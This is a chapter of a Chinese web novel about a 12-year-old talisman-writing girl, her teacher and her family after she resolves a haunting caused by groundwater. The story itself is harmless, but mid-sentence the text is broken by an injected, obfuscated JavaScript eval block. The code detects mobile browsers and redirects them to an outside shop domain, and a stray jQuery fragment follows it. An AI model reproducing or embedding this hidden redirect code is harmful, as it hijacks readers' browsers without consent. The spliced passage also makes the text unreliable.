班车在厂区门口停了。
张清下了车。
下午三点的阳光,二月份的,没什么温度。照在身上不暖,但比赵庄的风好,至少没有从四面八方刮来。
她站在路边,活动了一下腿。坐了半个多钟头的车,腿有点麻。
厂区门口的老杨树还在。枝丫上挂着的那层霜化了,滴着水。一滴一滴,砸在树根的泥地上。
门口的小卖部开着,老板娘坐在门槛上嗑瓜子,收音机搁在膝盖上,放的是刘兰芳的评书。瓜子壳吐了一地。
张清往家走。
路过厂区宿舍楼,有人从楼道里出来,是隔壁的刘婶。她看见张清,笑了一下:"放学了?"张清点了点头。她没有说今天没去上课,请了一天假,去的赵庄。
刘婶也没多问。她拎着菜篮子往菜市场走,棉鞋踩在水泥地上啪嗒啪嗒响。
张清看着她的背影。刘婶,是第一个被她写的"安"字治好失眠的人。两年前的事了。她现在还睡得好吗?应该好吧。她老公又买了一箱鸡蛋送过来,母亲没让收。
她继续走。
宿舍楼的阳台上晾着被子,花花的,红底白花,蓝底绿花,一家挨着一家。有人在楼下生炉子,劈柴引火,烟直往上窜。两个小孩在楼道口拍洋画,趴在地上,弄得一身土。
她往家走。
还没进院门,就看见了周伯年。
老人坐在院子里的石凳上,面前放着一杯茶。茶已经凉了,他也不知道坐了多久。
"回来了?"周伯年问。
"嗯。"
"怎么样?"
张清走到石凳旁边,坐下来。
"赵庄。"她说。"赵家老宅。地势低,地下水渗上来,水气郁结。鸡不安,猪撞圈,人做噩梦。不是鬼,不是邪,是地下的水。"
周伯年点了点头。没有追问。等她继续说。
"我写了一张'安'字符,贴在正梁上。又让他们在东北角挖排水沟。"
"用了朱砂?"
"嗯。"
"笔胆用了多少?"
"一道纹路。"
周伯年沉默了一会儿。
"还有呢?"
张清犹豫了一下。
"赵家的老人,赵老爷子。他认出了我爷爷的笔。"
周伯年的眼睛一缩。
"认出了?"
"他说,四十年前爷爷去过赵庄。看过一口井。说下面有龙脉,不能打。后来井还是打了。"
"……"
"他还拿了一张纸出来,爷爷当年画的'镇水符'。二十多根线条。我画不出来。"
周伯年端起凉茶,喝了一口。
"你爷爷,当年在赵庄看井,就知道以后会出事。"他说。"所以他留了'镇水符'。可惜,没人贴。"
"我的'意',还不够画'镇水符'。"
"不够就练。"周伯年说。"你的'意'已经比同龄人强十倍了。但,比你爷爷当年,还差得远。"
"差多远?"
"你爷爷三十岁的时候,能用朱砂画二十八根线条的符。"周伯年说。"你今年十二。还有十八年。"
"十八年?"
"急什么。"老人看了她一眼。"你爷爷从八岁练到三十岁,练了二十二年。你才练了两年,急什么?"
张清没说话。
但她在心里算了一笔账,笔胆的纹路在增加。每次用一次,就多一道。爷爷的笔用了六十年,笔胆还没烧完。照这个速度……也许能撑到她三十岁。
也许。
张清低头看着自己的手。
瘦。指节长。中指侧面有一个茧,握笔握出来的。指甲剪得很短,指缝里还留着一点没洗干净的墨痕。
"周老师。"她说。"赵老爷子说,'我等你'。"
周伯年看着她。
"那你,就让他等着。"老人说。"等你能画了,再去。"
那天晚上,张清回到家。
母亲在厨房做饭。菜香味飘出来,白菜炖粉条,加了几片腊肉。
"回来了?"母亲从厨房探出头。"洗手吃饭。"
张清洗手的时候,看见堂屋桌上放着一双新棉鞋。
黑面白底,老北京布鞋的样式。鞋底厚,鞋面是灯芯绒的,不是最贵的,但比她脚上这双强多了。她脚上这双,鞋帮已经开了线,走路往里灌泥。
"谁买的?"
"你爸。"母亲说。"上午出去了一趟。说你出门看事,不能穿着破鞋去。"
张清看着那双鞋。
父亲没说什么。就买了双鞋,放在桌上。
她穿上试了试。合脚。暖。鞋底是千层底的,踩上去软实。脚趾头在里面舒展开,不像旧鞋那样挤得慌。
晚饭。
三个人坐在堂屋的八仙桌旁。一盏日光灯照着,白惨惨的光。
父亲喝着粥,没说话。母亲夹菜,也没说话。
张清低头吃饭。
吃到一半,父亲开口了。
"看好了?"
"嗯。"
"什么问题?"
"地下水。"
父亲点了点头。又喝了一口粥。
沉默。
母亲夹了一筷子腊肉放在张清碗里。"多吃点。出去一天,肯定饿了。"
张清低头吃肉。腊肉是去年冬天腌的,挂在阳台上风干了好几个月。切成薄片,肥瘦相间,咬下去咸香咸香的。白菜炖得烂,粉条吸了汤汁,滑溜溜的。
"赵家的人,说什么了?"
张清想了想。"认出了爷爷的笔。"
父亲的筷子顿了一下。
他没有追问。只是顿了一下,然后继续吃饭。
母亲看了父亲一眼,没说话。
吃完饭,父亲去刷碗。母亲收桌子。
张清站在堂屋门口,看着院子里的月光。
二月的月亮。不是很亮,但够照出地上的影子。
院子里那棵枣树投下一团黑影,枝杈的形状印在泥地上,像一只伸开五指的手。厨房的灯还亮着,从窗户里透出黄光,照在洗碗池的方向。
她想起赵老爷子的脸。想起那张泛黄的"镇水符"。想起爷爷四十年前走过的路。
"张清。"
她回头。父亲站在厨房门口,手上还沾着洗碗水。
"嗯?"
"鞋合脚不?"
"合。"
父亲点了点头。转身回了厨房。
张清看着他的背影,瘦,背微驼。穿着一件洗得发白的灰毛衣。
她忽然想起周伯年说过的话,"你父亲不是不懂。他是不说。"
不说,不代表不在意。
那双鞋,就是他说的全部。
第二天一早。
赵师傅来了。
他骑着自行车,十五里地,骑了一个多钟头。额头上有汗,二月份的冷天,骑出了一身汗。车把上挂着一只编织袋,鼓鼓囊囊的,也不知道装了什么。
"张清——"他在院门口喊。"我爹让我来跟你说,昨晚好了!"
张清从书房出来。
"好了?"
"我爹,没做噩梦!睡了整觉!我媳妇也不咳了!鸡也不叫了!"赵师傅的眼眶红了。"三年了,三年没睡过整觉了!"
张清点了点头。
"排水沟开始挖了吗?"
"挖了!天没亮我就动手了!"赵师傅搓着手。"张清,那个,我爹说了,要谢你。你要是——"
"不用谢。"张清说。"排水做好就行。做好了,以后不会再犯。"
赵师傅张了张嘴,想说什么,但没说出来。
他低头看了看自己沾满泥的手,又看了看张清,十二岁的瘦小孩,穿着蓝布棉袄,脚上一双新布鞋。
"张清。"他说。"我爹让我问你,以后要是还有事,能不能……再来找你?"
张清想了想。
"找我老师也行。"她说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809199|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。"周伯年。就在厂区里。"
"你老师,那个老先生?"
"嗯。"张清说。"他能看的,比我多。"
赵师傅使劲点头。"行!我记住了!"
他解开编织袋,从里面掏出半口袋花生,硬要留下。张清推了两回,赵师傅急了,说赵老爷子交代了,不收就不让他走。张清只好收下。
他骑上车,走了两步,又停下来。
"张清,"他回头。"你爷爷当年,我爹说他看了那口井,什么工具都没带,就站在井边看了一会儿。然后说'不能打'。"
张清看着他。
"可惜没人听。"赵师傅摇了摇头。"要是听了,我爹也不用受三年罪了。"
他蹬上车,骑走了。
张清站在院门口,看着赵师傅的背影消失在巷子拐角。
周伯年不知道什么时候走到了她身后。
"你说得对。"老人说。"让他来找我。你才十二,不能什么活都接。"
"我知道。"
"还有,"周伯年看着她。"赵家的名声会传出去。你做好心理准备。"
"什么准备?"
"以后,找你'看事'的人,会越来越多。"
张清沉默了。
她想起父亲的话,"不要让人知道你是谁。"
也想起赵老爷子的话,"我等你。"
两条路。一条是藏,一条是露。
她不知道该怎么选。
但周伯年替她选了。
"能帮就帮。"老人说。"帮不了,就说不。这不是逞能的事。你爷爷当年,就是不会说不。"
张清点了点头。
她转身走回书房。
桌上还摆着乌木笔。笔杆上的纹路,又多了一道。
她数了数。
一共十五道了。
不知道笔胆还能撑多久。
她坐下来,在砚台上加了点水,拿了一支普通的毛笔,不是乌木笔。乌木笔用过了,今天不能再用了。周伯年说的,一天一次。
她在毛边纸上写了一个"永"字。
普通的毛笔,普通的墨。写出来的"永"字,没有光,没有气,只是纸上的一个字。
但张清知道,这个字里有"意"。不是符的"意",是练习的"意"。日复一日、一笔一划练出来的"意"。
她写了一个又一个。
"永"。"永"。"永"。
每一笔都在练。每一笔都在把"意"走得更深、更稳。
毛边纸写满了一张。翻过来,背面还能写。她接着写,墨迹透过纸背,在桌面上留下一块块黑印。
爷爷画了六十年。她才两年。
不急。
周伯年说的,急什么。
屋里的煤球炉灭了,只剩一星半点的红。她蹲下来,拿铁钳拨了拨炉膛,灰白色的煤灰簌簌往下掉。冷气从门缝里灌进来,她的鼻尖发凉。
桌上的砚台结了一层薄冰。她哈了口气,冰面化开一圈,露出底下的墨色。毛边纸摞在桌角,最上面一张被风吹卷了边,镇纸歪在一旁。
她把镇纸摆正,压住纸角。然后拿毛笔蘸了蘸砚台里的冰碴子。墨汁很凉,笔毫吸饱了墨,沉甸甸的。
窗外天色发青。厂区的喇叭没响,今天不广播。远处有公鸡叫了两声,拉得很长。
她坐到桌前,把本子翻开。新的一页,空白。她拿起铅笔,在最上面写了一行字:腊月十七,回路。
笔尖在纸上划过的声音很轻。屋子里太安静了,安静得能听见自己心跳。她写完那行字,把铅笔放下,手指在桌面上敲了两下。
桌子是老式的三屉桌,漆皮掉了大半,露出底下发灰的木头。抽屉拉手是铜的,氧化发绿。她拉开第一个抽屉,里面放着几支秃毛笔和半块松烟墨。墨块缺了一角,断面发白。
她拿起乌木笔,握在掌心。
跳动。一下。两下。三下。
还在。
还在就好。